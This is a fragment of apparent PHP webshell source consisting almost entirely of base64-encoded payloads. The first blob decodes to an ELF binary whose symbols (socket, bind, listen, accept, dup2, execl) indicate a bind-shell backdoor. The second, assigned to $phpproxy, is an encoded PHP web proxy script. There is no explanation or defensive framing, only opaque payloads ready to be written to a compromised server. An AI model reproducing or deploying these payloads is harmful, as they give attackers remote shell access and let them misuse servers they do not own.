RnbWdRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFBQUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBREFBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFLTURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMjF2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJmWHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdmNuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMTh5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFBWm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWVdOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFFZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbDBRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBYM0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMTh5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7DQoNCg0KDQoNCg0KJHBocHByb3h5ID0iUEQ5d2FIQU5DZzBLSXcwS0l5QlRkWEp5YjJkaFptbGxjaUIyTVM0d0xYSmpNdzBLSXcwS0l5QkJkWFJvYjNJNklFSnlZV1FnUTJGaWJHVU5DaU1nUlcxaGFXdzZJR0p5WVdSQVltTmhZbXhsTG01bGRBMEtJeUJNYVdObGJuTmxPaUJOYjJScFptbGxaQ0JDVTBRTkNpTWdUR2xqWlc1elpTQkVaWFJoYVd4ek9nMEtJeUJvZEhSd09pOHZZbU5oWW14bExtNWxkQzlzYVdObGJuTmxMbkJvY0EwS0l3MEtEUW9OQ2lNZ1EwOU9Sa2xISUh0N2V3MEtEUW9qSUVSbFptRjFiSFFnZEc4Z2MybHRjR3hsSUcxdlpHVWdkMmhsYmlCMGFHVWdjR0ZuWlNCcGN5QnNiMkZrWldRdUlGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5VFNVMVFURVVuTEdaaGJITmxLVHNOQ2lNZ1JtOXlZMlVnZEdobElIQmhaMlVnZEc4Z1lXeDNZWGx6SUdKbElHbHVJSE5wYlhCc1pTQnRiMlJsSUNodWJ5QmhaSFpoYm1ObFpDQnRiMlJsSUc5d2RHbHZiaWt1SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUms5U1EwVmZVMGxOVUV4Rkp5eG1ZV3h6WlNrN0RRb2pJRmRwWkhSb0lHWnZjaUIwYUdVZ1ZWSk1JR0p2ZUNCM2FHVnVJR2x1SUhOcGJYQnNaU0J0YjJSbElDaERVMU1nSW5kcFpIUm9JaUJoZEhSeWFXSjFkR1VwTGlCYk16QXdjSGhkRFFwa1pXWnBibVVvSjFOSlRWQk1SVjlOVDBSRlgxVlNURmRKUkZSSUp5d25NekF3Y0hnbktUc05DZzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lCMGRXNXVaV3dnYzJWeWRtVnlMaUJiWFEwS1pHVm1hVzVsS0NkRVJVWkJWVXhVWDFSVlRrNUZURjlRU1ZBbkxDY25LVHNOQ2lNZ1JHVm1ZWFZzZENCMllXeDFaU0JtYjNJZ2RIVnVibVZzSUhCdmNuUXVJRnRkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmVkZWT1RrVk1YMUJRVDFKVUp5d25KeWs3RFFvaklGTm9iM1ZzWkNCMGFHVWdkSFZ1Ym1Wc0lHWnBaV3hrY3lCaVpTQmthWE53YkdGNVpXUS9JQ0ptWVd4elpTSWdkbUZzZFdVZ2FHVnlaU0IzYVd4c0lHWnZjbU5sSUhSb1pTQmtaV1poZFd4MGN5QmhZbTkyWlNCYmRISjFaVjBOQ21SbFptbHVaU2duUms5U1EwVmZSRVZHUVZWTVZGOVVWVTVPUlV3bkxIUnlkV1VwT3cwS0RRb2pJRVJsWm1GMWJIUWdkbUZzZFdVZ1ptOXlJQ0pRWlhKemFYTjBaVzUwSUZWU1RDSWdZMmhsWTJ0aWIzZ2dXM1J5ZFdWZERRcGtaV1pwYm1Vb0owUkZSa0ZWVEZSZlZWSk1YMFpQVWswbkxIUnlkV1VwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlVbVZ0YjNabElFTnZiMnRwWlhNaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmUTA5UFMwbEZVeWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUZKbFptVnlaWElnUm1sbGJHUWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOVNSVTFQVmtWZlVrVkdSVkpGVWljc1ptRnNjMlVwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlVbVZ0YjNabElGTmpjbWx3ZEhNaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmVTBOU1NWQlVVeWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUU5aWFtVmpkSE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZUMEpLUlVOVVV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpUlc1amNubHdkQ0JWVWt4eklpQmphR1ZqYTJKdmVDQmJabUZzYzJWZERRcGtaV1pwYm1Vb0owUkZSa0ZWVEZSZlJVNURVbGxRVkY5VlVreFRKeXhtWVd4elpTazdEUW9qSUVSbFptRjFiSFFnZG1Gc2RXVWdabTl5SUNKRmJtTnllWEIwSUVOdmIydHBaWE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlGVGtOU1dWQlVYME5QVDB0VEp5eG1ZV3h6WlNrN0RRb05DaThxTHlCQlpHUnlaWE56SUVKc2IyTnJhVzVuSUU1dmRHVnpJRndxWEEwS0RRcEdiM0p0WVhSeklHWnZjaUJoWkdSeVpYTnpJR0pzYjJOcmFXNW5JR0Z5WlNCaGN5Qm1iMnhzYjNkek9nMEtEUW9nSURFdU1pNHpMalFnSUNBZ0lDMGdjR3hoYVc0Z1NWQWdZV1JrY21WemN3MEtJQ0F4TGpBdU1DNHdMekUySUNBdElITjFZbTVsZENCaWJHOWphMmx1WncwS0lDQXhMakF2TVRZZ0lDQWdJQ0F0SUhOMVltNWxkQ0JpYkc5amEybHVadzBLSUNBeEx6Z2dJQ0FnSUNBZ0lDQXRJSE4xWW01bGRDQmliRzlqYTJsdVp3MEtJQ0J3YUhBdWJtVjBJQ0FnSUNBdElHUnZiV0ZwYmlCaWJHOWphMmx1WncwS0RRcEVaV1poZFd4MElGWmhiSFZsT2lBbk1UQXZPQ2NzSnpFM01pODRKeXduTVRreUxqRTJPQzh4Tmljc0p6RXlOeTg0Snl3bk1UWTVMakkxTkM4eE5pY05DZzBLWENwY0lFVnVaQ0JCWkdSeVpYTnpJRUpzYjJOcmFXNW5JRTV2ZEdWeklDOHFMdzBLRFFva1lteHZZMnRsWkY5aFpHUnlaWE56WlhNOVlYSnlZWGtvSnpFd0x6Z25MQ2N4TnpJdk9DY3NKekU1TWk0eE5qZ3ZNVFluTENjeE1qY3ZPQ2NzSnpFMk9TNHlOVFF2TVRZbktUc05DZzBLSXlCOWZYME5DZzBLSXlCQlJGWkJUa05GUkNCRFQwNUdTVWNnZTN0N0RRb05DaU1nVkdobElHWnZiR3h2ZDJsdVp5QnZjSFJwYjI1eklHRnNkR1Z5SUhSb1pTQjNZWGtnWkc5amRXMWxiblJ6SUdGeVpTQndZWEp6WldRZ2IyNGdkR2hsSUhCaFoyVXVJQ0JQVGt4WklFVkVTVlFnVkVoSlV5QlRWRlZHUmlCSlJpQlpUMVVnVWtWQlRFeFpJRXRPVDFjZ1YwaEJWQ0JaVDFVZ1FWSkZJRVJQU1U1SElRMEtEUW9qSURVd01DQnBjeUIwYUdVZ2JXOXpkQ0J5WldGemIyNWhZbXhsSUc1MWJXSmxjaUJKSUdOdmRXeGtJR052YldVZ2RYQWdkMmwwYUNCaGN5QmhJRzFoZUdsdGRXMGdWVkpNSUd4bGJtZDBhQ0JzYVcxcGRBMEtJeUJKSUhKaGJpQnBiblJ2SUdFZ01USXdNQ3NnWTJoaGNtRmpkR1Z5SUd4dmJtY2dWVkpNSUc5dVkyVWdZVzVrSUdsMElHNWxZWEpzZVNCdFpXeDBaV1FnZEdobElIQnliMk5sYzNOdmNpQnZiaUJ0ZVNCc1lYQjBiM0FnZEhKNWFXNW5JSFJ2SUhCaGNuTmxJR2wwRFFvaklFaHZibVZ6ZEd4NUxDQjNhRzhnYm1WbFpITWdkR2hwY3lCc2IyNW5JRzltSUdFZ1ZWSk1JR0Z1ZVhkaGVUOE5DbVJsWm1sdVpTZ25UVUZZU1UxVlRWOVZVa3hmVEVWT1IxUklKeXcxTURBcE93MEtEUW9qSUZScGJXVWdiR2x0YVhRZ2FXNGdjMlZqYjI1a2N5Qm1iM0lnWVNCemFXNW5iR1VnY21WeGRXVnpkQ0JoYm1RZ2NHRnljMlV1SUZzeE1GME5DbVJsWm1sdVpTZ25WRWxOUlY5TVNVMUpWQ2NzTVRBcE93MEtJeUJVYVcxbElHeHBiV2wwSUdsdUlHMXBiblYwWlhNZ1ptOXlJR0VnUkU1VElHVnVkSEo1SUhSdklHSmxJR3RsY0hRZ2FXNGdkR2hsSUdOaFkyaGxMaUJiTVRCZERRcGtaV1pwYm1Vb0owUk9VMTlEUVVOSVJWOUZXRkJKVWtVbkxERXdLVHNOQ2cwS0l5QlZjMlVnWjNwcGNDQW9hV1lnY0c5emMybGliR1VwSUhSdklHTnZiWEJ5WlhOeklIUm9aU0JqYjI1dVpXTjBhVzl1SUdKbGRIZGxaVzRnZEdobElIQnliM2g1SUdGdVpDQjBhR1VnZFhObGNpQW9iR1Z6Y3lCaVlXNWtkMmxrZEdnc0lHMXZjbVVnUTFCVktTQmJabUZzYzJWZERRcGtaV1pwYm1Vb0owZGFTVkJmVUZKUFdGbGZWVk5GVWljc1ptRnNjMlVwT3cwS0l5QlZjMlVnWjNwcGNDQW9hV1lnY0c5emMybGliR1VwSUhSdklHTnZiWEJ5WlhOeklIUm9aU0JqYjI1dVpXTjBhVzl1SUdKbGRIZGxaVzRnZEdobElIQnliM2g1SUdGdVpDQjBhR1VnYzJWeWRtVnlJQ2hzWlhOeklHSmhibVIzYVdSMGFDd2diVzl5WlNCRFVGVXBJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SMXBKVUY5UVVrOVlXVjlUUlZKV1JWSW5MR1poYkhObEtUc05DZzBLSXlCUWNtOTBiMk52YkNCMGFHRjBJSEJ5YjNoNUlHbHpJSEoxYm01cGJtY2diMjR1SUNCVmJtTnZiVzFsYm5RZ2RHaHBjeUJzYVc1bElIUnZJR1JsWm1sdVpTQnBkQ0J0WVc1MVlXeHNlUzROQ2lNZ1NXWWdlVzkxSUd4bFlYWmxJSFJvYVhNZ2JHbHVaU0JqYjIxdFpXNTBaV1FzSUhSb1pTQmpiMlJsSUdSbGRHVmpkSE1nYVdZZ2VXOTFJR0Z5WlNCeWRXNXVhVzVuSUc5dUlHRnVEUW9qSUVoVVZGQlRJR052Ym01bFkzUnBiMjR1SUNCSlppQjViM1VnWVhKbExDQjBhR1Z1SUNkb2RIUndjeWNnYVhNZ2RYTmxaQ0JoY3lCMGFHVWdVRkpQVkU4Z2RtRnNkV1VzRFFvaklHOTBhR1Z5ZDJselpTQW5hSFIwY0NjZ2FYTWdkWE5sWkM0Z0lFbG1JSGx2ZFNCdVpXVmtJR0VnWkdsbVptVnlaVzUwSUhaaGJIVmxJR2hsY21Vc0lIUm9aVzRnWkdWbWFXNWxJR2wwTGcwS0kyUmxabWx1WlNnblVGSlBWRThuTENkb2RIUndKeWs3RFFvTkNpTWdmWDE5RFFvTkNnMEtMeThnUkU5T0oxUWdSVVJKVkNCQlRsbFVTRWxPUnlCQlJsUkZVaUJVU0VsVElGQlBTVTVVSUZ4Y0RRb05DZzBLSXcwS0l5QW9kVzVzWlhOeklIbHZkU0JoWW5OdmJIVjBaV3g1SUd0dWIzY2dkMmhoZENCNWIzVWdZWEpsSUdSdmFXNW5MaTR1S1EwS0l3MEtEUW9qSUVOUFQwdEpSU0FtSUZORlUxTkpUMDRnVTBWVVZWQWdlM3Q3RFFvTkNpOHZKSFJ2ZEhOMFlYSjBkR2x0WlQxdGFXTnliM1JwYldVb2RISjFaU2s3SUNNZ1FrVk9RMGhOUVZKTERRb3ZMeVJpYkc5amEyVmtYMkZrWkhKbGMzTmxjejFoY25KaGVTZ3BPeUFqSUVSRlFsVkhEUW9OQ2lNZ2MyVjBJR1Z5Y205eUlHeGxkbVZzSUhSdklHNXZkQ0JrYVhOd2JHRjVJRzV2ZEdsalpYTU5DbVZ5Y205eVgzSmxjRzl5ZEdsdVp5aEZYMEZNVEY1RlgwNVBWRWxEUlNrN0RRb05DaU1nYzJWMElIUnBiV1VnYkdsdGFYUWdkRzhnZEdobElHUmxabWx1WldRZ2RHbHRaU0JzYVcxcGRDd2dhV1lnYm05MElHbHVJSE5oWm1VZ2JXOWtaUTBLYVdZb0lXbHVhVjluWlhRb0ozTmhabVZmYlc5a1pTY3BLU0J6WlhSZmRHbHRaVjlzYVcxcGRDaFVTVTFGWDB4SlRVbFVLVHNOQ2cwS0l5QjFjMlVnWjNwcGNDQmpiMjF3Y21WemMybHZiaUJwWmlCaGRtRnBiR0ZpYkdVTkNtbG1LRWRhU1ZCZlVGSlBXRmxmVlZORlVpQW1KaUJsZUhSbGJuTnBiMjVmYkc5aFpHVmtLQ2Q2YkdsaUp5a2dKaVlnSVdsdWFWOW5aWFFvSjNwc2FXSXViM1YwY0hWMFgyTnZiWEJ5WlhOemFXOXVKeWtwSUc5aVgzTjBZWEowS0NkdllsOW5lbWhoYm1Sc1pYSW5LVHNnSXlCMWMyVWdaM3BwY0NCbGJtTnZaR2x1WnlCMGJ5QmpiMjF3Y21WemN5QmhiR3dnWkdGMFlTd2dhV1lnY0c5emMybGliR1VOQ2cwS0l5QnlaWFpsY25ObElHMWhaMmxqSUhGMWIzUmxjeUJwWmlCbGJtRmliR1ZrRFFwcFppaG5aWFJmYldGbmFXTmZjWFZ2ZEdWelgyZHdZeWdwS1hzTkNnbG1kVzVqZEdsdmJpQnpkSEpwY0hOc1lYTm9aWE5mY21WamRYSnpaU2drZG1GeUtYc05DZ2tKYVdZb2FYTmZZWEp5WVhrb0pIWmhjaWtwSUNSMllYSTlZWEp5WVhsZmJXRndLQ2R6ZEhKcGNITnNZWE5vWlhOZmNtVmpkWEp6WlNjc0pIWmhjaWs3RFFvSkNXVnNjMlVnSkhaaGNqMXpkSEpwY0hOc1lYTm9aWE1vSkhaaGNpazdEUW9KQ1hKbGRIVnliaUFrZG1GeU93MEtDWDBOQ2dra1gwZEZWRDF6ZEhKcGNITnNZWE5vWlhOZmNtVmpkWEp6WlNna1gwZEZWQ2s3RFFvSkpGOVFUMU5VUFhOMGNtbHdjMnhoYzJobGMxOXlaV04xY25ObEtDUmZVRTlUVkNrN0RRb0pKRjlEVDA5TFNVVTljM1J5YVhCemJHRnphR1Z6WDNKbFkzVnljMlVvSkY5RFQwOUxTVVVwT3cwS2ZRMEtEUW9qSUhOamNtbHdkQ0JsYm5acGNtOXViV1Z1ZENCamIyNXpkR0Z1ZEhNTkNtbG1LQ0ZrWldacGJtVmtLQ2RRVWs5VVR5Y3BLU0JrWldacGJtVW9KMUJTVDFSUEp5d29KRjlUUlZKV1JWSmJKMGhVVkZCVEoxMDlQU2R2YmljL0oyaDBkSEJ6SnpvbmFIUjBjQ2NwS1RzTkNtUmxabWx1WlNnblZrVlNVMGxQVGljc0p6RXVNQzF5WXpNbktUc05DbVJsWm1sdVpTZ25WRWhKVTE5VFExSkpVRlFuTEZCU1QxUlBMaUk2THk5N0pGOVRSVkpXUlZKYkowaFVWRkJmU0U5VFZDZGRmWHNrWDFORlVsWkZVbHNuVUVoUVgxTkZURVluWFgwaUtUc05DbVJsWm1sdVpTZ25VMGxOVUV4RlgwMVBSRVVuTEVSRlJrRlZURlJmVTBsTlVFeEZJSHg4SUVaUFVrTkZYMU5KVFZCTVJTazdEUW9OQ2lNZ1VtRnVaRzl0YVhwbFpDQmpiMjlyYVdVZ2NISmxabWw0WlhNZ0l3MEtablZ1WTNScGIyNGdaMlZ1WDNKaGJtUnpkSElvSkd4bGJpbDdEUW9KSkdOb1lYSnpQVzUxYkd3N0RRb0pabTl5S0NScFBUQTdKR2s4Skd4bGJqc2thU3NyS1hzTkNna0pKR05vWVhJOWNtRnVaQ2d3TERJMUtUc05DZ2tKSkdOb1lYSTlZMmh5S0NSamFHRnlLemszS1RzTkNna0pKR05vWVhKekxqMGtZMmhoY2pzTkNnbDlEUW9KY21WMGRYSnVJQ1JqYUdGeWN6c05DbjBOQ2cwS1puVnVZM1JwYjI0Z1pHOXpaWFJqYjI5cmFXVW9KR052YjJ0dVlXMWxMQ1JqYjI5cmRtRnNMQ1JsZUhCcGNtVTliblZzYkNsN0RRb0pKRjlEVDA5TFNVVmJKR052YjJ0dVlXMWxYVDBrWTI5dmEzWmhiRHNOQ2dscFppZ2taWGh3YVhKbFBUMDliblZzYkNrZ2MyVjBZMjl2YTJsbEtDUmpiMjlyYm1GdFpTd2tZMjl2YTNaaGJDazdEUW9KWld4elpTQnpaWFJqYjI5cmFXVW9KR052YjJ0dVlXMWxMQ1JqYjI5cmRtRnNMQ1JsZUhCcGNtVXBPdzBLZlEwS0RRcGtaV1pwYm1Vb0owWkpVbE5VWDB4UFFVUW5MR1Z0Y0hSNUtDUmZRMDlQUzBsRld5ZFFTRkJUUlZOVFNVUW5YU2twT3cwS2MyVnpjMmx2Ymw5emRHRnlkQ2dwT3cwS2FXWW9aVzF3ZEhrb0pGOVRSVk5UU1U5T1d5ZHpaWE56Y0hKbFppZGRLU2w3RFFvSkpITmxjM053Y21WbVBXZGxibDl5WVc1a2MzUnlLRE13S1RzTkNna2tYMU5GVTFOSlQwNWJKM05sYzNOd2NtVm1KMTA5SkhObGMzTndjbVZtT3cwS2ZRMEtaV3h6WlNBa2MyVnpjM0J5WldZOUpGOVRSVk5UU1U5T1d5ZHpaWE56Y0hKbFppZGRPdzBLRFFwcFppaGxiWEIwZVNna1gwTlBUMHRKUlZzbmRYTmxjaWRkS1NsN0RRb0pKR052YjJ0d2NtVm1QV2RsYmw5eVlXNWtjM1J5S0RFeUtUc05DZ2xrYjNObGRHTnZiMnRwWlNnbmRYTmxjaWNzSkdOdmIydHdjbVZtS1RzTkNuME5DbVZzYzJVZ0pHTnZiMnR3Y21WbVBTUmZRMDlQUzBsRld5ZDFjMlZ5SjEwN0RRb05DbVJsWm1sdVpTZ25VMFZUVTE5UVVrVkdKeXdrYzJWemMzQnlaV1lwT3cwS1pHVm1hVzVsS0NkRFQwOUxYMUJTUlVZbkxDUmpiMjlyY0hKbFppazdEUXBrWldacGJtVW9KME5QVDB0SlJWOVRSVkJCVWtGVVQxSW5MQ2RmWHljdVEwOVBTMTlRVWtWR0xpZGZYeWNwT3cwS2RXNXpaWFFvSkhObGMzTndjbVZtTENSamIyOXJjSEpsWmlrN0RRb05DbWxtS0VaSlVsTlVYMHhQUVVRcGV3MEtDV2xtS0VSRlJrRlZURlJmVlZKTVgwWlBVazBwSUdSdmMyVjBZMjl2YTJsbEtFTlBUMHRmVUZKRlJpNG5YM1Z5YkY5bWIzSnRKeXgwY25WbEtUc05DZ2xwWmloRVJVWkJWVXhVWDFKRlRVOVdSVjlEVDA5TFNVVlRLU0JrYjNObGRHTnZiMnRwWlNoRFQwOUxYMUJTUlVZdUoxOXlaVzF2ZG1WZlkyOXZhMmxsY3ljc2RISjFaU2s3RFFvSmFXWW9SRVZHUVZWTVZGOVNSVTFQVmtWZlVrVkdSVkpGVWlrZ1pHOXpaWFJqYjI5cmFXVW9RMDlQUzE5UVVrVkdMaWRmY21WdGIzWmxYM0psWm1WeVpYSW5MSFJ5ZFdVcE93MEtDV2xtS0VSRlJrRlZURlJmVWtWTlQxWkZYMU5EVWtsUVZGTXBJR1J2YzJWMFkyOXZhMmxsS0VOUFQwdGZVRkpGUmk0blgzSmxiVzkyWlY5elkzSnBjSFJ6Snl4MGNuVmxLVHNOQ2dscFppaEVSVVpCVlV4VVgxSkZUVTlXUlY5UFFrcEZRMVJUS1NCa2IzTmxkR052YjJ0cFpTaERUMDlMWDFCU1JVWXVKMTl5WlcxdmRtVmZiMkpxWldOMGN5Y3NkSEoxWlNrN0RRb0phV1lvUkVWR1FWVk1WRjlGVGtOU1dWQlVYMVZTVEZNcElHUnZjMlYwWTI5dmEybGxLRU5QVDB0ZlVGSkZSaTRuWDJWdVkzSjVjSFJmZFhKc2N5Y3NkSEoxWlNrN0RRb0phV1lvUkVWR1FWVk1WRjlGVGtOU1dWQlVYME5QVDB0VEtTQmtiM05sZEdOdmIydHBaU2hEVDA5TFgxQlNSVVl1SjE5bGJtTnllWEIwWDJOdmIydHpKeXgwY25WbEtUc05DbjBOQ2cwS0l5QjlmWDBOQ2cwS0l5QkZUbFpKVWs5T1RVVk9WQ0JUUlZSVlVDQjdlM3NOQ2cwS1oyeHZZbUZzSUNSd2IzTjBZVzVrWjJWMExDUmliRzlqYTJWa1gyRmtaSEpsYzNObGN5d2taRzV6WDJOaFkyaGxYMkZ5Y21GNU93MEtKSEJ2YzNSaGJtUm5aWFE5WVhKeVlYbGZiV1Z5WjJVb0pGOUhSVlFzSkY5UVQxTlVLVHNOQ2cwS1pHVm1hVzVsS0NkUVFVZEZWRmxRUlY5TlNVNUpVa1ZIUlZoUUp5d25LRDFiWDF3dVhDMWRQMXdtUFh3OUtUOG5LVHNOQ21SbFptbHVaU2duVUVGSFJWUlpVRVZmVWtWSFJWaFFKeXduTDE0bkxsQkJSMFZVV1ZCRlgwMUpUa2xTUlVkRldGQXVKeWd1S2lra0x5Y3BPdzBLYVdZb0lXVnRjSFI1S0NSd2IzTjBZVzVrWjJWMFcwTlBUMHRmVUZKRlJsMHBLU0FrYjJWdVkxOTFjbXc5SkhCdmMzUmhibVJuWlhSYlEwOVBTMTlRVWtWR1hUc05DbVZzYzJWN0RRb0pKSEJoWjJWMGVYQmxYM04wY2oxd2NtVm5YM0psY0d4aFkyVW9VRUZIUlZSWlVFVmZVa1ZIUlZoUUxDZGNNU2NzSkY5VFJWSldSVkpiSjFGVlJWSlpYMU5VVWtsT1J5ZGRLVHNOQ2dsa1pXWnBibVVvSjFGVlJWSlpYMU5VVWtsT1J5Y3NjM1ZpYzNSeUtDUmZVMFZTVmtWU1d5ZFJWVVZTV1Y5VFZGSkpUa2NuWFN4emRISnNaVzRvSkhCaFoyVjBlWEJsWDNOMGNpa3NjM1J5YkdWdUtDUmZVMFZTVmtWU1d5ZFJWVVZTV1Y5VFZGSkpUa2NuWFNrdGMzUnliR1Z1S0NSd1lXZGxkSGx3WlY5emRISXBLU2s3RFFvSlpHVm1hVzVsS0NkUVFVZEZWRmxRUlY5T1ZVeE1KeXd3S1RzTkNnbGtaV1pwYm1Vb0oxQkJSMFZVV1ZCRlgwWlBVa05GWDAxQlNVNG5MREVwT3cwS0NXUmxabWx1WlNnblVFRkhSVlJaVUVWZlJsSkJUVVZmVkU5UUp5d3lLVHNOQ2dsa1pXWnBibVVvSjFCQlIwVlVXVkJGWDBaU1FVMUZSRjlRUVVkRkp5d3pLVHNOQ2dsa1pXWnBibVVvSjFCQlIwVlVXVkJGWDBaU1FVMUZSRjlEU0VsTVJDY3NOQ2s3SUNNZ1puSmhiV2x1WnlCamFHbHNaSEpsYmlCbWIzSWdZM0pwYldWeklHbHpiaWQwSUhabGNua2dibWxqWlN3Z1luVjBJSFJvWlNCelkzSnBjSFFnWkc5bGN5QnBkQ0JoYm5sM1lYa05DZ2x6ZDJsMFkyZ29KSEJoWjJWMGVYQmxYM04wY2lsN0RRb0pDV05oYzJVZ0p6MG1QU2M2SUdSbFptbHVaU2duVUVGSFJWUlpVRVZmU1VRbkxGQkJSMFZVV1ZCRlgwWlNRVTFGWDFSUFVDazdJR0p5WldGck93MEtDUWxqWVhObElDYzlYeVk5SnpvZ1pHVm1hVzVsS0NkUVFVZEZWRmxRUlY5SlJDY3NVRUZIUlZSWlVFVmZSbEpCVFVWRVgxQkJSMFVwT3lCaWNtVmhhenNOQ2drSlkyRnpaU0FuUFMwbVBTYzZJR1JsWm1sdVpTZ25VRUZIUlZSWlVFVmZTVVFuTEZCQlIwVlVXVkJGWDBaUFVrTkZYMDFCU1U0cE95QmljbVZoYXpzTkNna0pZMkZ6WlNBblBTNG1QU2M2SUdSbFptbHVaU2duVUVGSFJWUlpVRVZmU1VRbkxGQkJSMFZVV1ZCRlgwWlNRVTFGUkY5RFNFbE1SQ2s3SUdKeVpXRnJPdzBLSXlCMGFHbHpJR2x6SUc5dVpTQnRiM0psSUhWdVpXNWpiMlJsWkNCemRISnBibWNnWm05eUlHWjFkSFZ5WlNCbVpXRjBkWEpsY3cwS0l3a0pZMkZ6WlNBblBTb21QU2M2SUdSbFptbHVaU2duVUVGSFJWUlpVRVZmU1VRbkxDazdJR0p5WldGck93MEtDUWxrWldaaGRXeDBPaUJrWldacGJtVW9KMUJCUjBWVVdWQkZYMGxFSnl4UVFVZEZWRmxRUlY5T1ZVeE1LVHNnWW5KbFlXczdEUW9KZlEwS0NYVnVjMlYwS0NSd1lXZGxkSGx3WlY5emRISXBPdzBLRFFvSlpHVm1hVzVsS0NkT1JWZGZVRUZIUlZSWlVFVmZSbEpCVFVWZlZFOVFKeXdvVUVGSFJWUlpVRVZmU1VROVBUMVFRVWRGVkZsUVJWOUdVa0ZOUlVSZlEwaEpURVEvVUVGSFJWUlpVRVZmUmxKQlRVVkVYME5JU1V4RU9sQkJSMFZVV1ZCRlgwWlNRVTFGWDFSUFVDa3BPdzBLQ1dSbFptbHVaU2duVGtWWFgxQkJSMFZVV1ZCRlgwWlNRVTFGUkY5UVFVZEZKeXdvVUVGSFJWUlpVRVZmU1VROVBUMVFRVWRGVkZsUVJWOUdVa0ZOUlVSZlEwaEpURVEvVUVGSFJWUlpVRVZmUmxKQlRVVkVYME5JU1V4RU9sQkJSMFZVV1ZCRlgwWlNRVTFGUkY5UVFVZEZLU2s3RFFvTkNna2tiMlZ1WTE5MWNtdzlVVlZGVWxsZlUxUlNTVTVIT3cwS0NTOHZaR1ZtYVc1bEtDZFBSVTVEWDFWU1RDY3NkWEpzWkdWamIyUmxLSEJ5WldkZmNtVndiR0ZqWlNnbkwxNG9XMTRtWFNvcExpby9K